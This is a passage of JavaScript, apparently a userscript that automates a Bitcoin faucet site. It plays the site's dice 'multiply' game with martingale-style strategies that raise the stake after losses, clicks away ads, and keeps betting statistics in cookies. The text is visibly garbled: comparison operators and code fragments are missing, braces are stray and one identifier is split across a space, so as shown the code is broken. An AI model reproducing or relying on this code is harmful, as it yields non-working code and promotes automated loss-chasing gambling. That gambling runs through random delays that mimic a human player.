- last_multiply_diff)/1000/60/60)); $ ('#script_output_title_multiply_wait_hours').removeClass('true').addClass('false'); return false; } if ( t[0] > 0 && t[0] 3) console.log('[Multiply] Not playing multiply. Wait to play not near next roll, missing just %c'+t[0]+' min', 'color:purple'); $('#script_output_title_multiply_wait_hours').text('Wait '+t[0]+'m'); return false; } if (Boolean(isMultiplyRunning)) { if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Some other istance already playing'); return false; } if (Boolean(after_roll)) { if (!Boolean(forced)) $('.double_your_btc_link').not('.hide_menu').click(); tot_multiply_games = parseInt(tot_multiply_games)+1; setCookie("tot_multiply_games", tot_multiply_games, 30); setCookie("last_multiply", d.getTime(), 30); $('#script_output_multiply_status').html('Multiply: Running!'); if (LOGGING > 4) console.log(Boolean(after_roll)+", "+balance+", "+bonus_mul_balance+", "+MAX_BET+", "+Boolean(MULTIPLY)); multiply_manual(); } else { isMultiplyPlayable = true; if (LOGGING > 3) console.log('[Multiply] Yes can play multiply '+isMultiplyPlayable); } } function multiply_manual() { var bet_count=0; var bet_remaining=0; var past_bet; var bet_amount; var bet_odds; var bet_hilo; var winnings=0; var won=0; // won lost or error -1, 1 or 0 var consecutive_lost=0; var consecutive_win=0; var fast_bet=false; var log_msg = ""; var c; var multiply_message=""; var curr_multiply_balance=0; var curr_multiply_wagered = 0; var max_consecutive_losts_session=0; var max_consecutive_wins_session=0; var max_consecutive_losts_inplay_session=0; var max_bet_session=0; var last_session_hist=[]; var balance = parseFloat($('#balance').text()).toFixed(8); // Global vars setting to avoid duplicate games and increments. // as error reported bug on play game2_consecutive_lost_passed=false; game2_finished_loosing=false; game2_play_after_losses=0; game2_step=0; forceMultiplyStopHard=false; forceMultiplyStopSoft=false; game_play_began=false; game_play_count=0;

// Multilpy Running isMultiplyRunning = true; if ( $('#multiply_full_container').length) { multiply_message = "Running!"; $('#multiply_message').html(multiply_message); } // Activate DOM Monitors /// *** NEW VERSION *** if (LOGGING > 4) console.log("[Multiply] Activating MutationObserver Monitors, beginning to play"); const targetNode = document.getElementById('double_your_btc_result'); const config = { attributes: true, childList: true, subtree: true }; const callback = function(mutationsList, observer) { //if (LOGGING > 4) console.log("%cDom modified.", "color: grey"); if ( $('#double_your_btc_error').html().length > 0 ) { var multiply_error = $('#double_your_btc_error').html(); console.log('%c[Multiply] Fatal Error in multiply: '+multiply_error, 'color: red'); //$('#script_output_title_multiply_wait_hours').text('Fatal Error').removeClass(true).addClass('false'); setCookie('multiply_error', multiply_error, 31); multiply_message = "Finish for some error"; if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c); multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message); return true; } else if ( $("#double_your_btc_bet_win").html().length > 0 ) { won = 1; c="green"; fast_bet = true; winnings = $("#double_your_btc_bet_win").html().split(" ")[6]; if (winnings > 0) { tot_multiply_balance = parseFloat(parseFloat(tot_multiply_balance) + parseFloat(winnings)).toFixed(8); curr_multiply_balance = parseFloat(parseFloat(curr_multiply_balance) + parseFloat(winnings)).toFixed(8); } consecutive_win++; consecutive_lost=0; if ( $('#multiply_full_container').length) { $('#multiply_cons_wins > b').html(consecutive_win).addClass("greenbg"); setTimeout(function () { $("#multiply_cons_wins > b").removeClass("green-bg"); },500); } } else if ($("#double_your_btc_bet_lose").html().length > 0 ) { won = -1; c = "red"; winnings = $("#double_your_btc_bet_lose").html().split(" ")[6]; if (winnings > 0) { tot_multiply_balance = parseFloat(parseFloat(tot_multiply_balance) - parseFloat(winnings)).toFixed(8); curr_multiply_balance = parseFloat(parseFloat(curr_multiply_balance) - parseFloat(winnings)).toFixed(8); } consecutive_lost++; consecutive_win=0; if ( $('#multiply_full_container').length) { $('#multiply_cons_losts > b').html(consecutive_lost).addClass("redbg");

setTimeout(function () { $("#multiply_cons_losts > b").removeClass("red-bg"); },500); } } else won = 0; if (won != 0) { // COOKIES for STATISTICS setCookie("tot_multiply_balance", tot_multiply_balance, 7); setCookie('curr_multiply_balance',curr_multiply_balance,7); var rolled = $('#previous_roll').text(); last_session_hist.push(Math.round(curr_multiply_balance*100000000)); setCookie('last_multiply_session_hist',JSON.stringify(last_session_hist),7) // Session Cookie if (consecutive_lost >= max_consecutive_losts_session) { max_consecutive_losts_session=consecutive_lost; setCookie('max_consecutive_losts_session', max_consecutive_losts_session, 7); } if (consecutive_lost >= max_consecutive_losts_inplay_session && bet_amount > MIN_BET) { max_consecutive_losts_inplay_session=consecutive_lost; setCookie('max_consecutive_losts_inplay_session',max_consecutive_losts_inplay_sessi on,7); } if (bet_amount >= max_bet_session) { max_bet_session=parseFloat(bet_amount).toFixed(8); setCookie('max_bet_session',max_bet_session,7); }

MIN_BET) {

// General Cookies if (consecutive_lost > max_consecutive_losts_inplay && bet_amount > max_consecutive_losts_inplay = consecutive_lost;

setCookie('max_consecutive_losts_inplay',max_consecutive_losts_inplay,7); } if (consecutive_lost > max_consecutive_losts) { max_consecutive_losts=consecutive_lost; setCookie('max_consecutive_losts', consecutive_lost, 365); } if ( rolled != '7777' ){ jackpot_distance++; setCookie('jackpot_distance', jackpot_distance, 31); } if ( $('#multiply_full_container').length) { // Update the values $('#multiply_bet_count > b').html(bet_count).addClass("green-bg"); setTimeout(function () { $("#multiply_bet_count > b").removeClass("green-bg"); },200); $('#multiply_play_count > b').html(game_play_count); $('#multiply_max_cons_losts > b').html(max_consecutive_losts_session); $('#multiply_max_bet > b').html(max_bet_session);

$('#balance_before > b').html(balance); $('#balance_now > b').html(parseFloat($ ('#balance').text()).toFixed(8)); $('#multiply_wagered > b').html(curr_multiply_wagered); $('#multiply_profit > b').html(curr_multiply_balance); } // Next bet values getting It return a FLOAT number. Will be converted in bet function. bet_amount = get_bet_amount( past_bet, consecutive_lost, consecutive_win); bet_hilo = get_bet_hilo(consecutive_lost); bet_odds = get_bet_odds(); if (LOGGING > 2) { log_msg = "Rolled:"+rolled+",%c Won:"+parseFloat(winnings).toFixed(8)+"%c, Played#:"+bet_count; log_msg += "/"+MAX_ROLLS_AT_MULTIPLY+"/"+game_play_count+", L/W: "+consecutive_lost+"/"+consecutive_win; log_msg += ", CurrBal:"+curr_multiply_balance+", TotBal:"+tot_multiply_balance; log_msg += " "; console.log(log_msg, css_bold+"color:"+c, css_reset); } // EXIT CONDITIONS -- Play or finished logic if (Boolean(forceMultiplyStopHard)) { multiply_message = "Finish for Stop Button pressed"; if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c); multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message); return true; } else if ( bet_count >= MAX_ROLLS_AT_MULTIPLY || Boolean(forceMultiplyStopSoft)) { if (LOGGING > 2) console.log("%cSoft finish, wait ending this play", css_bold+"color:"+c+", "+css_reset); if ( !Boolean(game_play_began) ) { multiply_message = "Finish for Stop Soft or Max Roll passed"; if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c); multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message); return true; } } else if (game_play_count >= MAX_PLAY && !Boolean(game_play_began)) { multiply_message = "Finish for Game Play count passed"; if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c); multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message); return true; } else if (bet_amount > MAX_BET) { multiply_message = "Finish for bet amount passed max bet"; if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);

multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message); return true; } else if (curr_multiply_balance >= MAX_WIN) { multiply_message = "Finish for MAX_WIN passed"; if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c); multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message); return true; } else if (bet_amount < 0.00000001) { multiply_message = "Finish for error in bet amount value"; if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c); multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message); return false; } curr_multiply_wagered = parseFloat(parseFloat(curr_multiply_wagered) + parseFloat(bet_amount)).toFixed(8); tot_multiply_wagered = parseFloat(parseFloat(tot_multiply_wagered) + parseFloat(bet_amount)).toFixed(8); setCookie('tot_multiply_wagered',tot_multiply_wagered, 365); setCookie('curr_multiply_wagered',curr_multiply_wagered, 30); if (past_bet != bet_amount) fast_bet=false; else fast_bet=true; bet_count++; past_bet=bet_amount; //Security wait of 30 seconds if speed fast (3) and every 500 collected // call the bet bet(bet_amount, bet_hilo, bet_odds, fast_bet); } else { var winlength=$("#double_your_btc_bet_win").html().length; var loslength=$("#double_your_btc_bet_lose").html().length; var domtree=$('#double_your_btc_result').html(); multiply_message = "Finish for no value in DOM var"; if (LOGGING > 1) console.log("%cFinish for no value in won var, was: "+won+", win l: "+winlength+", los l: "+loslength, css_bold+"color:"+c); if (LOGGING > 3) console.log("%cFinish for no value in won var, DOM was: "+domtree, css_bold+"color: grey"); multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message); } }; // Begin the observer const observer = new MutationObserver(callback); observer.observe(targetNode, config); // Disable Animation $("#disable_animation_checkbox").prop( "checked", true ); // First bet that cause all the others and Dom modifications setTimeout(function(){ bet_hilo = get_bet_hilo(0);

}

bet_amount = get_bet_amount(MIN_BET,0,0); bet_odds = get_bet_odds(); bet_count++; past_bet=bet_amount; bet(bet_amount, bet_hilo, bet_odds, false); }, random (3500,6500) );

function get_bet_amount(past_bet, consecutive_lost, consecutive_win){ if (STRATEGY == 0) { if (consecutive_lost == 0) { game_play_began=false; return BAS_BET; } else { if (consecutive_lost == 1) { game_play_began = true; game_play_count++; tot_multiply_play++; setCookie('tot_multiply_play', tot_multiply_play, 7); } return past_bet*2; } } else if (STRATEGY == 1 || WAIT_PLAY_AFTER_LOSSES == 0){ if (consecutive_lost < MIN_LOSSES_BEFORE_PLAY) { if (Boolean(game_play_began)) { game_play_began=false; } return MIN_BET; } else if (consecutive_lost == MIN_LOSSES_BEFORE_PLAY){ game_play_began=true; tot_multiply_play++; game_play_count++; setCookie('tot_multiply_play', tot_multiply_play, 7); return BAS_BET; } else { return past_bet+(past_bet*INCR/100); } } else if (STRATEGY == 2 || STRATEGY == 3) { if (!Boolean(game2_consecutive_lost_passed)) { if (Boolean(game_play_began)) game_play_began=false; if (consecutive_lost < MIN_LOSSES_BEFORE_PLAY) { game2_step=1; return MIN_BET; } else if (consecutive_lost == MIN_LOSSES_BEFORE_PLAY){ // passed tot lost, next step -> else game2_step=2; game2_consecutive_lost_passed = true; return MIN_BET; } else return "-009"; } else { if (!Boolean(game2_finished_loosing)) { if (consecutive_win == 0 ) { game2_step=3; return MIN_BET; } else { //finished loosing, first win, next step -> else game2_step=4; game2_finished_loosing=true; game2_play_after_losses++;

return get_bet_amount(MIN_BET,consecutive_lost,consecutive_win); } } else { if (!Boolean(game_play_began)){ if (game2_play_after_losses < WAIT_PLAY_AFTER_LOSSES) { game2_step=5; game2_play_after_losses++; return MIN_BET; } else if (game2_play_after_losses >= WAIT_PLAY_AFTER_LOSSES){ // Begin to play, next step -> else game2_step=6; game_play_began=true; tot_multiply_play++; game_play_count++; setCookie('tot_multiply_play', tot_multiply_play, 7); return BAS_BET; } else return "-008"; } else { if (consecutive_lost > 0) { game2_step=7; return past_bet+(past_bet*INCR/100); } else { // Playing and won, go back to the begin game_play_began=false; game2_step=0; game2_consecutive_lost_passed=false; game2_finished_loosing=false; game2_play_after_losses=0; if (STRATEGY == 3) { MIN_LOSSES_BEFORE_PLAY++; if (LOGGING > 2) console.log("New MIN_LOSSES_BEFORE_PLAY value is: "+MIN_LOSSES_BEFORE_PLAY); } return MIN_BET; } } } } } else return "-010"; } function get_bet_odds () { if (STRATEGY == 0) { return 2; } else return ODDS; } function get_bet_hilo (index) { if (HIGH_LOW == 3 ) { var olaer = ['H','L','L','H','H','H','L','L','L','L','H','H','H','H','H','L','L','L','L','L','L ','H','H','H','H','H','H','H','L','L','L','L','L','L','L','L']; var key = index % olaer.length; return olaer[key]; } else if (HIGH_LOW == 1) { return "H"; } else if (HIGH_LOW == 2) { return "L";

}

} else { var r = random(1,10); if (r 4) console.log(">> playing: "+hl+", betting: "+amount.toFixed(8) ); tot_multiply_bets++; setCookie('tot_multiply_bets', tot_multiply_bets, 7); if (SPEED == 0) { wait_time_1 = random(2000,10000); wait_time_2=random(1000,5000); } else if (SPEED == 1) { if (Boolean(fast)) { wait_time_1 = random(300,900); wait_time_2=random(100,200); } else { wait_time_1 = random(1133,5544); wait_time_2=random(100,1000); } } else if (SPEED == 2) { wait_time_1 = random(300,1000); wait_time_2=random(100,200); } else { wait_time_1 = random(10,20); wait_time_2=0; }

}

setTimeout (function(){ $("#double_your_btc_stake").val(parseFloat(amount).toFixed(8)); $("#double_your_btc_payout_multiplier").val(odds); setTimeout(function(){ $(toclick).click(); }, wait_time_1 ); }, wait_time_2 );

function multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message) { // Finished playing multiply // Deactivate DOM Monitors observer.disconnect(); if ( $('#multiply_full_container').length) { $('#multiply_message').html(multiply_message); } multiply_hist_arr.push(tot_multiply_balance); setCookie('multiply_hist_arr',JSON.stringify(multiply_hist_arr),14); console.log("%cMultiply hist array: "+multiply_hist_arr, 'color:grey'); if (LOGGING > 2) { if (bet_amount > MAX_BET) { console.log("%c Max Bet limit passed. Max Bet: "+MAX_BET+", Next Bet: "+bet_amount, 'color: red'); } else if (bet_count >= MAX_ROLLS_AT_MULTIPLY ) { console.log("%c Max Rolls limit passed. Max Rolls: "+MAX_ROLLS_AT_MULTIPLY+", Tot Rolls: "+bet_count+" with "+consecutive_lost+" cons losts", 'color: red'); } else if (game_play_count >= MAX_PLAY) { console.log("%c Max Plays limit passed. Max Plays: "+MAX_PLAY+", Tot Plays: "+game_play_count, 'color: red');

} } if (LOGGING > 4) console.log("%c Disabling Monitors, finished multiply", css_bold+'color:green'); if (LOGGING > 4) console.log("%c Tot Balance: "+tot_multiply_balance+", Tot games: "+tot_multiply_games+", Tot bets: "+tot_multiply_bets, css_bold+'color: green'); if (LOGGING > 4) console.log("%c Session Balance: "+curr_multiply_balance+", Session tot bets: "+bet_count, css_bold+'color:green'); $('#script_output_multiply_status').html('Multiply: Done!'); isMultiplyRunning=false; setTimeout(function(){ isMultiplyRunning = false; $('.free_play_link').not('.hide_menu').click(); }, random(3000,30000)); } function missingTime () { var min = 0; var sec = 0; var str = ""; str = $('title').text().split(" ")[0]; //if (LOGGING > 4) console.log("%c[missingTime] [Debug] string: "+str, 'color: grey'); if (str.length = 3) { min = str.split(':')[0]; if (min.length > 0) min = min.replace('m',''); sec = str.split(':')[1]; if (sec.length > 0) sec = sec.replace('s',''); } else if ( $('#free_play_form_button').is(':visible') ) { min = 0; sec = 0; } else { min = -1; sec = -1; } return [min,sec]; } function isNight(){ var d = new Date(); var h = d.getHours();

}

if ( stopNight > startNight && h >= startNight && h = startNight || h 4) console.log("%c[Debug] Function closePopupInterval begin", 'color:grey'); if (target.is(':visible')) { setTimeout(function(){ if (LOGGING > 3) console.log("%cClose ADS", 'color: grey'); target.click(); ads_closed ++; $('#script_output_title_ads_closed_num').text(ads_closed); }, random (500,120000));

} else { //if (LOGGING > 4) console.log("%cNot visible: "+target.attr('id')+" "+target.attr('class'), 'color: grey'); } } function closeRandomPopupInterval (target, randomness) { //if (LOGGING > 4) console.log("%c[Debug] Function closeRandomPopupInterval begin", 'color:grey'); var rand = random(1,100); if (rand < randomness && target.is(':visible')) { setTimeout(function(){ if (LOGGING > 3) console.log("%cClose Random ADS", 'color: grey'); target.click(); ads_closed ++; $('#script_output_title_ads_closed_num').text(ads_closed); }, random (500,120000)); } else { //if (LOGGING > 4) console.log("%cNot visible: "+target.attr('id')+" "+target.attr('class'), 'color: grey'); } } function getCookie(cname) { var name = cname + "="; var decodedCookie = decodeURIComponent(document.cookie); var ca = decodedCookie.split(';'); for(var i = 0; i 2) console.log("%c Resettnig all stats deleting all cookies", 'color:red'); setCookie("last_bonus",0,365); setCookie("last_multiply",0,30); setCookie("rp_hist_arr","[]",31); setCookie("tot_multiply_balance",0,7); setCookie("tot_multiply_games",0,30); setCookie("tot_rp_spent_captcha",0,7); setCookie("tot_rp_spent_rewards",0,7); setCookie('curr_multiply_balance',0,7); setCookie('curr_multiply_wagered',0,30); setCookie('executions',0,7); setCookie('last_multiply_session_hist',0,7); setCookie('max_bet_session',0,7); setCookie('max_consecutive_losts',0,365); setCookie('max_consecutive_losts_inplay',0,7); setCookie('max_consecutive_losts_inplay_session',0,7); setCookie('max_consecutive_losts_session',0,7);

setCookie('multiply_error',0,31); setCookie('multiply_hist_arr',"[]",14); setCookie('tot_btc_winning_rolling',0,7); setCookie('tot_lottery_tickets',0,7); setCookie('tot_lottery_winning_rolling',0,7); setCookie('tot_multiply_balance',0,7); setCookie('tot_multiply_bets',0,7); setCookie('tot_multiply_play',0,7); setCookie('tot_multiply_wagered',0,365); setCookie('tot_rp_winning_rolling',0,7); location.reload(); } function showStatus(){ if (LOGGING > 4) console.log("%c[Debug] Function showStatus begin", 'color:grey'); var t=missingTime(); var date = new Date(); var script_output_msg_1 = ""; var script_output_msg_2 = ""; var [{ value: month },,{ value: day },,{ value: year },,{ value: hour },, { value: minute }] = dateTimeFormat.formatToParts(date); var ca='red'; var cb='red'; var cc='red'; var css='font-weight: bold; color:'; var c1='purple'; var c2='olive'; var c3='brown'; var c4='teal'; if (LOGGING > 0) console.log(">>>>>>>>>>%c Status:%c ["+hour+":"+minute+"]", css_bold+'color:'+c1, css_bold); //Rewards and multiply infos and colors if (Boolean(REWARDS)) ca = 'green'; if (Boolean(MULTIPLY)) cb='green'; if (Boolean(LOTTERY)) cc='green'; var cssa='font-weight: bold; color:'+ca; var cssb='font-weight: bold; color:'+cb; var cssc='font-weight: bold; color:'+cc; if (LOGGING > 0) console.log(">>>>>>>>>> Buying Rewards: "+"%c"+Boolean(REWARDS)+""+"%c; Playing Multiply: "+"%c"+Boolean(MULTIPLY)+""+"%c; Buying Lottery: "+"%c"+Boolean(LOTTERY), cssa, css_reset,cssb, css_reset, cssc); if (t[0] > 0 || t[1] > 0) { if (LOGGING > 0) console.log(">>>>>>>>>> Missing "+"%c"+t[0]+" min "+t[1]+" sec"+"%c for next roll",css_bold+"color:"+c1,css_reset); } if (LOGGING > 0) console.log(">>>>>>>>>> BTC won with script: "+"%c"+tot_btc_winning_rolling, css_bold+'color:'+c4); if (LOGGING > 0) console.log(">>>>>>>>>> Tickets won with script: "+"%c"+tot_lottery_winning_rolling, css_bold+'color:'+c4); if (LOGGING > 0) console.log(">>>>>>>>>> RP won with script: "+"%c"+tot_rp_winning_rolling, css_bold+'color:'+c4); if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with rewards: "+"%c"+tot_rp_spent_rewards, css_bold+'color:'+c1); if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with captcha: "+"%c"+tot_rp_spent_captcha, css_bold+'color:'+c1); if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Balance: "+"%c"+tot_multiply_balance, css_bold+'color:'+c3); if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Games played: "+"%c"+tot_multiply_games, css_bold+'color:'+c3); if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Wagered: "+"%c"+tot_multiply_wagered, css_bold+'color:'+c3); // Update Status Message OnPage script_output_msg_1 = "Config: "; script_output_msg_1 += "REWARDS

";

script_output_msg_1 += "BONUS1000 "; script_output_msg_1 += "MULTIPLY "; script_output_msg_1 += "LOTTERY"; $('#script_output_msg_1').html(script_output_msg_1); script_output_msg_2 = " Script Winnings: "; script_output_msg_2 += ""+tot_btc_winning_rolling+" btc; "; script_output_msg_2 += ""+tot_lottery_winning_rolling+" tickets; "; script_output_msg_2 += ""+tot_rp_winning_rolling+" RP."; script_output_msg_2 += "
"; script_output_msg_2 += " Script Spent: "; script_output_msg_2 += ""+tot_lottery_tickets+" in lottery tickets; "; script_output_msg_2 += ""+tot_rp_spent_rewards+" RP in bonus; "; script_output_msg_2 += ""+tot_rp_spent_captcha+" RP in captcha. "; script_output_msg_2 += "
"; script_output_msg_2 += " Script Multiply Balance: "; script_output_msg_2 += ""+tot_multiply_balance+" btc in "; script_output_msg_2 += ""+tot_multiply_games+" games and "; script_output_msg_2 += ""+tot_multiply_bets+" bets"; $('#script_output_msg_2').html(script_output_msg_2); } function setBtcPrice(){ //if (LOGGING > 4) console.log("%c[Debug] Function setBtcPrice begin", 'color:grey'); var btc_price=$('#btc_usd_price').html().split('.') [0].replace('$','').replace(',',''); var i=1; var to=2000; if (i>=10) return false; else if (isNaN(btc_price)) { if (LOGGING > 4) console.log("%c[setBtcPrice] Price NA, try again in "+to*i/1000+" s", 'color:grey'); setTimeout(function(){ setBtcPrice(); }, to*i ); i++; return true; } else { $('#usdxbtc').html(btc_price); var usd_price=parseFloat(100000000/btc_price).toFixed(0); $('#satxusd').html(usd_price); } }